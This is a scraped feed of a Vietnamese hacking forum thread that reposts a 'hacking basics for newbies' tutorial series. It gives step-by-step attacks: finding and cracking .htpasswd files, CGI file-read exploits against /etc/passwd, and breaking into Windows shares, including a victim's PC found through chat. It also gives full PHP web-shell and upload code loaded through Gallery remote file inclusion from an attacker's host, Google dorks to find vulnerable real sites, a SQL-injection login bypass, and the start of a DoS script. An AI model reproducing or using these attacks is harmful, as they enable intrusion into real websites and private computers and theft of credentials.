<![CDATA[Latest posts for the topic "Hacking cơ bản, Dành cho newbie - ST"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#939 /hvaonline/posts/list/391.html#939 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#1011 /hvaonline/posts/list/391.html#1011 GMT Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#1042 /hvaonline/posts/list/391.html#1042 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#1083 /hvaonline/posts/list/391.html#1083 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#1097 /hvaonline/posts/list/391.html#1097 GMT Hacking cơ bản, Dành cho newbie - ST ]]> /hvaonline/posts/list/391.html#1099 /hvaonline/posts/list/391.html#1099 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#1134 /hvaonline/posts/list/391.html#1134 GMT Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#2826 /hvaonline/posts/list/391.html#2826 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#2833 /hvaonline/posts/list/391.html#2833 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#3511 /hvaonline/posts/list/391.html#3511 GMT Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#3679 /hvaonline/posts/list/391.html#3679 GMT Re: Hacking cơ bản, Dành cho newbie - ST

micr0vnn wrote:
Big ball hay quá..... :) cho 1 điểm..... Hix ... em muốn làm "hét kơ" có ai chỉ em hét không ??? Cám ơn nhiều !!!! :D :( :-) :mrgreen: :-o :shock: :?: :P :x :lol: 8) :oops: :cry: :evil: :twisted: :? :!: :wink: :roll: QUa bài nì em học hỏi được ... very nhiều ... 
Ông thuộc loại cao thủ rồi ai mà dám chỉ ông]]>
/hvaonline/posts/list/391.html#4669 /hvaonline/posts/list/391.html#4669 GMT
Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#4704 /hvaonline/posts/list/391.html#4704 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#4758 /hvaonline/posts/list/391.html#4758 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#5250 /hvaonline/posts/list/391.html#5250 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#5363 /hvaonline/posts/list/391.html#5363 GMT Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#5396 /hvaonline/posts/list/391.html#5396 GMT Re: Hacking cơ bản, Dành cho newbie - ST

emthatxau wrote:
:?: :?: :?: :?: :?: :?: :?: em la mot nguoi member moi nhung con nhieu yeu kem ve cac truong trinh de hack cac truong trinh nhi Dos... em cung chua hieu het xin anh chi giao de co the vung buoc tren con duong hacker 
http://my.opera.com/hoan.kiss/blog/?startidx=15 Vào đây mà xem chút tài liệu về MS-DOS]]>
/hvaonline/posts/list/391.html#5600 /hvaonline/posts/list/391.html#5600 GMT
Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#6305 /hvaonline/posts/list/391.html#6305 GMT Re: Hacking cơ bản, Dành cho newbie - ST

hoadqbk wrote:
Em chua biet the nao ma hack duoc lan dau tien mong cac bac chi cho Em biet cach thuc hien voi muc dich hoc hoi de bao ve site cua minh Cam on cac Bac 
Bồ nên học cách đánh chử có dấu đi đã rồi hỏi tiếp cung không muộn đâu . :evil: ]]>
/hvaonline/posts/list/391.html#6496 /hvaonline/posts/list/391.html#6496 GMT
Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#11803 /hvaonline/posts/list/391.html#11803 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#11864 /hvaonline/posts/list/391.html#11864 GMT Hacking cơ bản, Dành cho newbie - ST ><<>><< Co' gi hay cu' chi? tiep di hen.]]> /hvaonline/posts/list/391.html#13402 /hvaonline/posts/list/391.html#13402 GMT Re: Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#13570 /hvaonline/posts/list/391.html#13570 GMT Re: Hacking cơ bản, Dành cho newbie - ST Bài này nghe có vẻ được đấy Mong anh bạn gửi cho tui vài bài nữa được không ? Mình là newbie mà!!!!!!!!!!!!!!!!! :wink: ]]> /hvaonline/posts/list/391.html#14293 /hvaonline/posts/list/391.html#14293 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#14493 /hvaonline/posts/list/391.html#14493 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#14760 /hvaonline/posts/list/391.html#14760 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#15623 /hvaonline/posts/list/391.html#15623 GMT Hacking cơ bản, Dành cho newbie - ST

superbaby wrote:
Anh ơi cho em địa chỉ để DownLoad may' cai' truong trinh` nhu Ping,Intellitamper  
Muốn ăn phải lăn vô bếp . Dùng google mà tìm . Chừng nào tìm đỏ con mắt trái đau con mắt phải thì hãy dzô mà hỏi . ke ke ke ke ke ... :mrgreen: ]]>
/hvaonline/posts/list/391.html#16638 /hvaonline/posts/list/391.html#16638 GMT
Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#17647 /hvaonline/posts/list/391.html#17647 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18414 /hvaonline/posts/list/391.html#18414 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18416 /hvaonline/posts/list/391.html#18416 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18417 /hvaonline/posts/list/391.html#18417 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18418 /hvaonline/posts/list/391.html#18418 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18419 /hvaonline/posts/list/391.html#18419 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18420 /hvaonline/posts/list/391.html#18420 GMT Hacking cơ bản, Dành cho newbie - ST /hvaonline/posts/list/391.html#18421 /hvaonline/posts/list/391.html#18421 GMT Hacking cơ bản, Dành cho newbie - ST http://www.company.com/cgi-bin/pro tected/ hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau : http://www.company.com/cgi-bin/pro tected/.htpasswd Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau : http://www.company.com/.htpasswd</ a> http://www.company.com/cgi-bin/.ht passwd http://www.company.com/cgi-bin/pas swords/.htpasswd http://www.company.com/cgi-bin/pas swd/.htpasswd nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé . Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé . Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả . 23 . ) Tìm hiểu về CGI ? _ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày . _ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau : http://www.company.com/cgi-bin/log in.cgi với những công việc cụ thể như : + Tạo ra chương trình đếm số người đã ghé thăm . + Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn . + Quản lý user name và passwd của thành viên . + Cung cấp dịch vụ Mail . + Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên . + Cung cấp những thông báo lỗi chi tiết .v.v….. 24 . ) Cách hack Web cơ bản nhất thông qua CGI script : _ Lỗi thứ 1 : lỗi nph-test-cgi + Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn . + Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi + Lúc đó trên URL bạn sẽ nhìn giống như thế này : http://www.servername.com/cgi-bin/ nph-test-cgi + Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp : CODE ? /* + file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau : http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/* _ Lỗi thứ 2 : lỗi php.cgi + Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass : http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá : /cgi-bin/php.cgi?/etc/passwd] hoặc cgi-bin/nph-test-cgi?/etc sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé . 25 . ) Kỹ thuật xâm nhập máy tính đang online : _ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu : _ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu . _ Vào Start == > Run gõ lệnh cmd . _ Trong cửa sổ DOS hãy đánh lệnh “net view ” CODE + VD : c:\net view 203.162.30.xx _ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân > + VD : c:\net use E : 203.162.30.xxC _ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 . _ Nếu máy của nạn nhân không có share thì ta đánh lệnh : net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator`` + VD : net use E : 203.162.30.xxC$``administrator`` Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` . _ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh : c:\netstat –n Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . ) Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy . =================================================== = Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào . =================================================== = Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v……. GOOKLUCK!!!!!!!!! Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2 Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1 -------------------- ^^ Mar 3 2005, 09:50 AM Post #4 m_m Group: VH Translators Posts: 254 Joined: 20-February 05 Member No.: 791 Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4 26 . ) Tìm hiểu về RPC (Remote Procedure Call) : _ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính. _Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server). Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT. 27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) : _ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này. Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply. Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó . ( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA ) 28 . ) Những bước để hack một trang web hiện nay : _ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau : + FootPrinting : ( In dấu chân ) Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó. + Scanning : ( Quét thăm dò ) Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa. + Enumeration : ( liệt kê tìm lỗ hổng ) Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này. + Gaining Access: ( Tìm cách xâm nhập ) Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht. + Escalating Privileges : ( Leo thang đặc quyền ) Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng. + Pilfering : ( Dùng khi các file chứa pass bị sơ hở ) Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker. + Covering Tracks : ( Xoá dấu vết ) Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai. + Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn ) Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog… + Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ ) Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay . _ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” . ( Tài liệu của HVA và hackervn.net ) 29 . ) Cách tìm các Website bị lỗi : _ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) . _ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau : cgi-bin/php.cgi?/etc/passwd các bạn sẽ đánh : “allinurl:cgi-bin/php.cgi?/etc/passwd” Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa . _ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá powered by VD sau là để tìm forum dùng Snitz 2000 : powered by Snitz 2000 _ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau ``/admin hay /advadmin hay /hosting`` ta hãy đánh từ khoá : allinurl:/advadmin hoặc allinurl:/admin hoặc allinurl:/hosting Nó sẽ liệt kê ra các trang Web có URL dạng : http://tentrangweb.com/advadmin hoặc http://tentrangweb.com/admin hoặc http://tentrangweb.com/hosting VD với forum UBB có đoạn đặc trưng ``cgi-bin/ultimatebb.cgi?`` Ta cũng tìm tương tự như trên . Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra . 30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ): _ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta . _ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau : CODE <?php global $PHP_SELF; echo `` <form method=post action=$PHP_SELF?$QUERY_STRING > <input type=text name=shell size=40 > <input type=hidden name=act value=shell > <input type=submit value=Go name=sm > ``; set_magic_quotes_runtime(1); if ($act == ``shell``) { echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``; system($shell); echo `` \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; } echo `` ``; ? > Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là : + shellphp.php : file này dùng để chạy shell trên victim host . + init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu ) Bạn hãy tạo thêm một file PHP với mã sau : CODE <?php function handleupload() { if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) { $filename = $_FILES[`userfile`][`tmp_name`]; print ``$filename was uploaded successfuly``; $realname = $_FILES[`userfile`][`name`]; print ``realname is $realname\n``; print ``copying file to uploads dir ``.$realname; copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau } else { echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``; } } if ($act == ``upload``) { handleupload(); } echo `` <form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING > File:<INPUT TYPE=FILE NAME=userfile SIZE=35 > <input type=hidden name=MAX_FILE_SIZE value=1000000 > <input type=hidden name=act value=upload > <input type=submit value=Upload name=sm > ``; ? > Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân . _ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không : http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân . Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ). Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả : + Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) . + Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục . + Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là : /home/abc/xyz/Gallery/loveyou Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ). Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn : http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi . Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn . ( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net ) GOODLUCK!!!!!!!!!!!! ( Hết phần 4 ) Anhdenday HVAonline.net Không biết tác giả với nick name Anhdenday là ai nhỉ, cho làm quen phát, hơi hâm mộ đấy ]]> /hvaonline/posts/list/391.html#18422 /hvaonline/posts/list/391.html#18422 GMT Hacking cơ bản, Dành cho newbie - ST http://www.someserver.com/admentor /admin/admin.asp _ Bạn thử nhập “ ` or ``=` ” vào login và password : CODE Login : ` or ``=` Password : ` or ``=` _ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin . _ Ta hãy tìm hiểu về cách fix lỗi này nhé : + Lọc các ký tự đặc biệt như “ ` `` ~ \ ” bằng cách chêm vào javascrip đoạn mã sau : CODE function RemoveBad(strTemp) { strTemp = strTemp.replace(/\<|\ > |\``|\`|\%|\;|\(|\)|\&|\+| \-/g,````); return strTemp; } + Và gọi nó từ bên trong của asp script : CODE var login = var TempStr = RemoveBad (Request.QueryString(``login``)); var password = var TempStr = RemoveBad (Request.QueryString(``password``)); - Vậy là ta đã fix xong lỗi . - Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo để họ fix lại ) . - Có nhiều trang khi login không phải bằng “ ` or ``=’ ” mà bằng các nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của một admin để test thử nhé . Hack vui vẻ . -------------------------------------------------------------------------------- Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi uống cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng . GOOKLUCK!!!!!!!!!!!!!!!!!!!! ( Hết phần 5 ) - TG: Anhdenday ]]> /hvaonline/posts/list/391.html#18423 /hvaonline/posts/list/391.html#18423 GMT Hacking cơ bản, Dành cho newbie - ST http://www.python.org/ để sử dụng . _ Bạn hãy save đoạn mã sau lên file rfpoison.py . CODE import string import struct from socket import * import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), ``) return data def b2a(s): bytes = map(lambda x: `%.2x` % x, map(ord, s)) return string.join(bytes, ` `) # Yêu cầu tập hợp NBSS nbss_session = a2b(`````` 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 